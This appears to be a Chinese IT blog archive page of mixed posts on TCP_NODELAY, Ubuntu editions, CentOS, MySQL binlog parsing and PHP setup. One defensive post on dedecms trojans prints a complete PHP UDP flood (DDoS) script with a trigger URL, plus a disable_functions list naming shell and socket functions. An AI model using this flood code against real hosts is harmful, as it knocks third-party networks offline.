分类目录归档:IT圈热闻

最近八卦

tcp_nodelay的差别

Apache HTTPD是因特网上最流行的Web服务器,它的所有套接字就都设置了TCP_NODELAY选项,而且其性能也深受大多数用户的满意。这是为什么呢?答案就在于实现的差别之上。由BSD衍生的TCP/IP协议栈(值得注意的是FreeBSD)在这种状况下的操作就不同。当在TCP_NODELAY 模式下提交大量小数据块传输时,大量信息将按照一次write()函数调用发送一块数据的方式发送出去。然而,因为负责请求交付确认的记数器是面向字节而非面向包(在Linux上)的,所以引入延迟的概率就降低了很多。结果仅仅和全部数据的大小有关系。而 Linux 在第一包到达之后就要求确认,FreeBSD则在进行如此操作之前会等待好几百个包。

在Linux系统上,TCP_NODELAY的效果同习惯于BSD TCP/IP协议栈的开发者所期望的效果有很大不同,而且在Linux上的Apache性能表现也会更差些。其他在Linux上频繁采用TCP_NODELAY的应用程序也有同样的问题。

Ubuntu Server与Ubuntu Desktop之间的区别

服务器版本的内核时钟频率由桌面的100hz转为1khz,这一点是为某些服务器应用提供更好的性能和吞吐量。

除此之外,服务器内核支持SMP”对称多处理”(Symmetrical Multi-Processing)技术和NUMA。

集成的LAMP也是Ubuntu Server的一大特色,省去了很多配置的麻烦。

支持“big iron”(大型服务器):那是一种能够让软件运行得更容易和更简单的硬件解决方案。

LTS支持:长期服务、质量保证、本地化、认证。

Ubuntu server使用了最新的稳定内核,比debian、centos都要新很多,包括一系列gnu软件都很新,比如gcc。性能较centos最新的centos6都要好。特别推荐ubuntu server12.4LTS作为生产系统使用。

除去以上的特征,你可以把Ubuntu Server看作是Desktop版本去掉GUI的产物。
====================================
desktop是livecd+图形安装cd(可以直接从光盘读取进入系统然后在图形界面下安装)
server是服务器版(只装用命令行模式,没有图形部分,一般用户估计没怎么人用)
alternate是文本安装模式(安装过程用点中只能键盘操作,安装界面和windows前半段的类似)

desktop和alternate安装完之后都带图形界面,一般用户用的,server是做服务器用的。

 

转渗透DZ官网

作者: Rices 日期: 2012 年 10 月 31 日

前言: 此次检测纯属偶然, 源于Errorera同学一直想拿下腾讯, 然后找腾讯换ipad玩, 结果搞着搞着就把目标对准Discuz了, 反正Discuz也属于腾讯业务, 估计搞下也能换ipad, Errorera同学怀着这样的美好愿望就开搞了!

 

此文所有图片均由Errorera同学提供, 本来我想等我把文章写了他再提交的, 可丫太着急要ipad了, 所以瞒着我直接提交了!! 所以现在所有漏洞都已经修补, 导致我想截图都截不了了… 还好他已经写了一篇文章, 我就将就直接修改下拿上来吧~ 继续阅读

“十八大”期间全国封网 预留调整时间

记者从工信部了解,为确保“十八大”期间电信网络安全,将于2012年11月7日至“十八大”会议结束之日24:00期间“封网”。封网期间各基础电信企业应停止主要通信干线和枢纽的施工、系统割接、版本升级和网管数据制作等工作。

在封网期间如因业务及网络需要调整,可在不影响网络运行安全的前提下,经集团公司批准后,在每日凌晨0:00至5:00内实施必要的业务及网络调整。

封网具体要求如下:

一、各单位要加强组织领导,深入做好电信网络运行安全、安全生产和互联互通管理工作,做到思想重视、组织保证、措施到位、要切实落实安全生产责任,各级相关负责人、联络员和信息员应确保24小时联络畅通,遇有电信网络运行重大事故,应当按照相关规定和预案妥善处理,并及时向上级主管部门报告。

二、各基础电信企业要做好国际电话网、国内长途电话网、固定本地电话网、移动通信网、互联网骨干网等重点网络、设备和线路的检测和巡查,及时排除故障隐患。加强对通信枢纽、干线等重点部位的“四防”(防爆炸、防火灾、防破坏、防盗窃)工作。要在北京做好人民大会堂、新闻中心和代表驻地等重点地区的通信保障,不得擅自中断通信线路。

三、各省、自治区、直辖市通信管理局要加强辖区内电信网络运行安全、安全生产和互联互通的监督管理,对影响网络运行安全和互联互通的各类违规事件予以从严、从重查处。

四、2012年11月7日0:00至“十八大”会议结束之日24:00,各基础电信企业应停止主要通信干线和枢纽的施工、系统割接、版本升级和网管数据制作等工作。在此期间,预留每日凌晨0:00至5:00为业务及网络调整的窗口时间,可在不影响网络运行安全的前提下,经集团公司批准后,在窗口时间内实施必要的业务及网络调整。

“封网”解释:

“封网”是电信运营商的专门说法,不是关闭网络和封闭网络、停止对外的访问接口,而是停止升级、割接、设备入网等工作,停止对网络影响较大的操作活动,以保障网络的稳定运行。当然,“封网”不代表不维护网络,如果遇到网络故障,仍然需要第一时间处理。

VPS如何选择?

VPS 选择指南

国内的做站环境一日不如一日,很多人滥觞脱离自己的祖国,将网站放到了异邦的空间大概办事器下面。有这么一大量的网站移民族曾经在他国发展的很杰出的,正如小石头自己的博客一样是放在了美国 Dreamhost 的虚拟主机上面,美国的东西就是低廉甜头实惠啊,不限制流量不限制空间不限制网站数量,仅仅只须要每年花 500 多元国民币。可还是有很多站长在持观望态度,对美国的服务器或者 VPS 的完全情景也不是出格了解,结果哪个机房的 ping 值较量低,哪个机房的流量限制比较充裕还不是十昭彰白。那么本日小石头就受累一下给人人注意的先容下美国 vps 主机的目前市场情况吧。

国内网络环境日益阴毒,众多站长将站“移民”国外。采用一款优良高速的主机十分紧要。由于虚拟主机的主机资源、帮助环境等种种的限制,很多站长选择 VPS(Visual Private Server),这篇文章,我们就来一起说说如何选择国外 VPS。 继续阅读

centos介绍

Centos概述
CentOS,我们有很多人叫它社区企业操作系统,不管你怎么叫它,它都是linux的一个发行版本。CentOS并不是全新的linux发行版,倘若一说到RedHat这个大名,大家似乎都听过,在RedHat家族中有企业版的产品,它是Red Hat Enterprise Linux(以下称之为RHEL),CentOS正是这个RHEL的克隆版本,RHEL是很多企业采用的linux发行版本,需要向RedHat付费才可以使用,并能得到付过费用的服务和技术支持和版本升级。这个CentOS可以像REHL一样的构筑linux系统环境,但不需要向RedHat付任何的费用,同样也得不到任何有偿技术支持和升级服务。CentOS计划是在2003年红帽决定不再提供免费的技术支持及产品认证之后的部份”红帽重建者”(Red Hat rebuilders)之一。 继续阅读

binlog文件分析与mysqlbinlog工具的修改

问题

本文主要带着以下问题进行学习:

1、什么是binlog,有什么作用

2、binlog有哪些格式

3、分析一条典型binlog ,说明从binlog中可以得到哪些信息

4、如何修改mysqlbinlog,使得可以显示最后一条记录

这里主要考虑binlog的使用及相关格式,而不是关注binlog的写入时机。

 

一、简介

binlog又叫二进制日志文件,它会将mysql中所有修改数据库数据的Query以二进制的形式记录到日志文件中,如:create,insert,drop,update等;(对于select操作则不会被记录到binlog里,因为它并没有修改数据库的数据)。binlog一般存储在数据目录下,并且命名为:mysql-bin.***(这个可以在配置文件中修改my.cnf:log-bin=mysql-bin,就是文件名的前缀;mysqld在每个 binlog 名后面添加一个数字扩展名。每次启动服务器或刷新日志时增加文件的大小大于max_binlog_size,一个事务不会被拆分开)。

binlog主要是用于保证数据完整的,如主从备份,通过从binlog文件中读取操作来在salve机上进行同样的操作,保证主从备份,当然不可能每次都从开始的地方redo,所以每条记录都有一个时间截TIMESTAMP。

 

二、简单的使用binlog

show binary logs;    #显示binlog文件

purge binary logsto ‘mysql-bin.**’  #删除到**文件

bin/mysqlbinlog binlogfile    #解析binlog文件

 

利用binlog恢复数据:

bin/mysqlbinlog  –start-datetime=’2011-7-7 18:0:0′–stop-datetime=’2011-7-7 20:07:13′ data/mysql-bin.000008 |mysql -u root

 

三、类型

binlog的格式有三种,这也反应了mysql的复制技术:基于SQL语句的复制(statement-based replication, SBR),基于行的复制(row-based replication, RBR),混合模式复制(mixed-based replication, MBR)。相应地,binlog的格式也有三种:STATEMENT,ROW,MIXED。

mysql>showvariables like ‘binlog_format’    #查看binlog的格式

 

使用mysqlbinlog解析的binlog:

MIXED(STATEMENT):

# at 193(开始位置)

#110708 10:03:06(时间截) server id(产生该事件的服务id) 1  end_log_pos(日志的结束位置) 280  Query(事件类型)  thread_id=10    exec_time=0     error_code=0

SETTIMESTAMP=1310090586/*!*/;

insert into tvalues(17)

/*!*/;

 

ROW模式:

BEGIN

/*!*/;

# at 174

# at 214

#110708 10:49:22server id 1  end_log_pos 214   Table_map: `test`.`t` mapped to number 14

#110708 10:49:22server id 1  end_log_pos 248   Write_rows: table id 14 flags: STMT_END_F

 

BINLOG ‘

MnAWThMBAAAAKAAAANYAAAAAAA4AAAAAAAEABHRlc3QAAXQAAQMAAQ==

MnAWThcBAAAAIgAAAPgAAAAAAA4AAAAAAAEAAf/+MgAAAA==

‘/*!*/;

# at 248

#110708 10:49:22server id 1  end_log_pos 317   Query  thread_id=1     exec_time=0     error_code=0

SETTIMESTAMP=1310093362/*!*/;

COMMIT

 

STATEMENT是基于sql语句级别的binlog,每一条修改数据的sql都会被保存到binlog里;ROW是基于行级别的,他会记录每一行记录的变化,就是将每一行的修改都记录到binlog里面,记录的非常详细,但sql语句并没有在binlog里,在replication里面也不会因为存储过程触发器等造成Master-Slave数据不一致的问题,但是有个致命的缺点日志量比较大.由于要记录每一行的数据变化,当执行update语句后面不加where条件的时候或alter table的时候,产生的日志量是相当的大。MIXED:在默认情况下是statement,但是在某些情况下会切换到row状态,如当一个DML更新一个ndb引擎表,或者是与时间用户相关的函数等。在主从的情况下,在主机上如果是STATEMENT模式,那么binlog就是直接写now(),然而如果这样的话,那么从机进行操作的时间,也执行now(),但明显这两个时间不会是一样的,所以对于这种情况就必须把STATEMENT模式更改为ROW模式,因为ROW模式会直接写值而不是写语句(该案例是错误的,即使是STATEMENT模式也可以使用now()函数,具体原因以后再分析)。同样ROW模式还可以减少从机的相关计算,如在主机中存在统计写入等操作时,从机就可以免掉该计算把值直接写入从机。

 

四、binlog记录

每个binlog的开始都是由4个字节:fe 62 69 6e,组成的魔数(后面三个字节就是bin)。

然后接下来的就是一条记录的内容它包括:Common-Header,这部分不同版本的大小不一样,4.0以上的都是19个字节。在这个之后就是BODY。

Common-Header格式:(单位:字节)

 

Timestamp(4) Type(1) Server_id(4) Total_size(4) End_log_pos(4) Flag(2)

Timestamp:从1970开始

Type:此log event type如FORMAT_DESCRIPTION_EVENT、QUERY、LOAD_EVENT等,其中每个binlog的第一条记录的类型都是FORMAT_DESCRIPTION_EVENT,它记录了该binlog的相关信息,如版本,这些信息对于后序分析binlog记录是有用的,所以对于任务要读取binlog的内容的工具都必须先读取第一条记录。QUERY包括我们经常操作的如:create,drop,update,insert等。

Server_id:创建这个事件的server id。防止循环主从导致的主机被从写。The master’s server id (is preserved in therelay log; used to prevent from infinite loops in circular replication).

Total_size:该记录的大小,包括common_header及body。

End_log_pos:此下一条记录的开始位置。也是此条记录结束位置的上一个字节。

Flag:标志位。

 

QUERY类型的记录:

QUERY类型的记录除了开始的common-header之外,在body的开头是一个Post-header,然后之后才是真正的body内容。

Query Post-Header:(单位字节)

 

Thread_id(4) Exec_time(4) Db_len(1) Error_code(2) Status_var_len(2)

Thread_id:is used to distinguish temporary tables that belong to differentclients.

Exec_time:The time from whenthe query started to when it was logged in the binlog, in seconds.QUERY到达到这个binlog事件生成的时间间隔。

Db_len:当前数据库的名称长度。

Error_code:执行出错的错误号。

 

五、使用mysqlbinlog显示最后一条log

1. 使用脚本实现:(该脚本可以显示最后n条)

 

#!/bin/sh

#Access to the binlog’s last n records

#if don’t set -n, show the last record.

 

NUM=”1″

 

function last_logs()

{

#get the total records

local rec_acc=`./bin/mysqlbinlog $1 | grep -c ‘^# at [0-9][0-9]*$’`

rec_acc=`expr $rec_acc – $NUM`

#Skip the first N entries.

./bin/mysqlbinlog -o $rec_acc $1

}

 

if [ $# -lt 1 ] || [ $# -gt 3 ]

then

echo “Usage: mysqlbinlog [-n0-9] filename”

exit

elif [ $# -eq 2 ]

then

if echo $1|grep -q ‘^-n[0-9][0-9]*$’

then

NUM=`echo $1 | cut -d “n” -f 2`

last_logs $2

else

echo “Usage:mysqlbinlog [-n0-9] filename”

fi

else

last_logs $1

fi

此本质是首先利用mysqlbinlog binlogfile打印出所有的记录,然后通过正则表达式(^# at [0-9][0-9]*$)判断记录个数M。最后在使用mysqlbinlog –o M-N binlogfile,来显示最后N条。

脚本的使用方法:./last_logs –n3 binlogfile #显示最后三条,不包括第一条FORMAT_DESCRIPTION_EVENT。

 

2.直接修改mysqlbinlog.cc

上面的脚本必须两次扫描binlog文件,这对于大的文件来说消耗可能比较大。修改后的工具,主要利用的是:最后一条记录的end_log_pos刚好为文件的大小。利用这个条件来判断是否需要解析打印。下面为主要的代码:

 

/*begin:xiangzhong.wxd at:2011-7-9 16:30*/

int is_last_flag(int &argc, char **argv)

{

if (argc == 3 && (!strcmp(argv[1],”-L”) || !strcmp(argv[2],”-L”)))

{

last_flag = 1;

if (!strcmp(argv[1],”-L”))

{

char * temp = argv[1];

argv[1] = argv[2];

argv[2] = temp;

}

//free(argv[2]);

//argv[2] = ‘\0′;

argc–;

return 0;

}

return -1;

}

/*end:xiangzhong.wxd at:2011-7-9 16:30*/

 

/*begin:xiangzhong.wxd at:2011-7-9 */

struct stat file_buf;

stat(logname, &file_buf);

unsigned long file_size = (unsigned long)file_buf.st_size;

if((ev_type != FORMAT_DESCRIPTION_EVENT) && last_flag && (ev->log_pos != file_size))

goto end;

/*end:xiangzhong.wxd at:2011-7-9 */

其中int is_last_flag函数是判断是否要使用该新功能,如果使用就是在命令行里加个-L,并且只能再使用一个binlogfile作为参数,即与其它的参数如start-position一起使用无效。

使用方法:./bin/mysqlbinlog –L binlogfile

注意:不管是使用上面两种的任意一种,都会打印出#at 4,即第一条记录,所以实质上我们是总共打印了两条记录。(原因见上面的FORMAT_DESCRIPTION_EVENT解释)。

主要涉及的源文件:mysqlbinlog.cc、log_event.cc、log_event.h.

综上可以知道,其实binlog文件就像一个流文件,它每一条记录没有明显的开始及结束标志,它是通过长度来判断一条记录的结束位置,所以在分析binlog文件的时候总是必须从头开始,然后依次一条一条的读取。

程序员出错最喜欢说的20句话

1.见鬼了…。

2.以前重来没出过问题。

3.昨天还好好的。

4.这怎么可能?

5.一定是机器出了问题。

6.你究竟输入什么了导致它崩溃?

7.应该是数据有问题。

8.我好几个星期都没碰这块代码了!

9.你一定弄错了版本。

10.怎么会就这么巧。

11.我不可能把所有的问题都测到。

12.这不可能是因为它引起的。

13.本来好用的,只是没测试过。

14.肯定是有人改了我的代码。

15.查查你机器上有没有病毒。

16.even though it doesn‘t work, how does it feel?

17.你的机器上不能使用这个版本。

18.为什么你会觉得应该出那个结果才是正确的?

19.程序出问题时你在干什么了?

20.这问题我改了呀!

 

LAMP应用架构部署指南-PHP安装及设置

1.
本文将以php 5.2.5为例,以CentOS 5为平台,讲述PHP的安装和设置。

2. 关于PHP
PHP(“PHP: Hypertext Preprocessor”,超文本预处理器的字母缩写)是一种被广泛应用的开放源代码的多用途脚本语言,它可嵌入到 HTML中,尤其适合 web 开发。
PHP 主要是用于服务端的脚本程序,因此可以用 PHP 来完成任何其它的 CGI 程序能够完成的工作,例如收集表单数据,生成动态网页,或者发送/接收 Cookies。但 PHP 的功能远不局限于此。
PHP 脚本主要用于以下三个领域:  继续阅读

php发送大量UDP攻击包的警告

从2010年到现在基于php发送大量UDP数据包的php木马相当流行,主要附属于dedecms(织梦cms)。会导致服务器间歇性断网,网卡发送大量的数据,导致网络堵塞,危害较大。这里特别请求广大站长别再使用织梦cms发布系统。

 RX bytes:28991967155 (28.9 GB)  TX bytes:437305805252 (437.3 GB)

织梦系统是基于非安全模式下进行开发,以下的加固方法会直接导致织梦系统的采集功能以及发布等不能正常使用。织梦cms系统调用了很多危险的php系统函数,这些函数会和木马一样具有强大的功能。

php的ddos代码如下:

<?php  

$packets = 0;  

$ip = $_POST['ip'];  

$rand = $_POST['port'];  

set_time_limit(0);  

ignore_user_abort(FALSE);  

$exec_time = $_POST['time'];  

$time = time();  

print "Flooded: $ip on port $rand <br><br>";  

$max_time = $time+$exec_time;  

for($i=0;$i<65535;$i++){  

        $out .= "X";  

}  

while(1){  

$packets++;  

        if(time() > $max_time){  

                break;  

        }  

        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  

        if($fp){  

                fwrite($fp, $out);  

                fclose($fp);  

        }  

}  

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";  

?>

有些版本有“phpddos 仅供教学使用 或者xx是骗子之类的字符”。

可以看出php会随机发送大小的udp包,请求方式是通过url访问,以达到攻击别人的目的。调用了fsockopen函数。

请求的url类似

http://www.cntv.cn/xxx/xx/inc/newfile.php?host=1.2.3.4&port=80&time=1200

针对此类的ddos网络攻击我们建议做以下的安全加固:

1.开启php的安全模式,safe_mod=on

2.关闭函数disable_functions=gzinflate,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,fsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,fwrite,
fclose

3.fopen allow_url_fopen = Off 关闭php请求远程url ,这个很多系统里面有调用,请考虑其他方式实现。

4.通过防火墙丢弃掉udp包

;linux

iptables -I OUTPUT -p udp --dport 53 -d 8.8.8.8 -j ACCEPT

iptables -A OUTPUT -p udp -j DROP
windows请用ipsec做以处理

5.这里再次呼吁广大站长请勿再继续试用织梦cms发布系统,此系统极为不安全。

 

dedecms 木马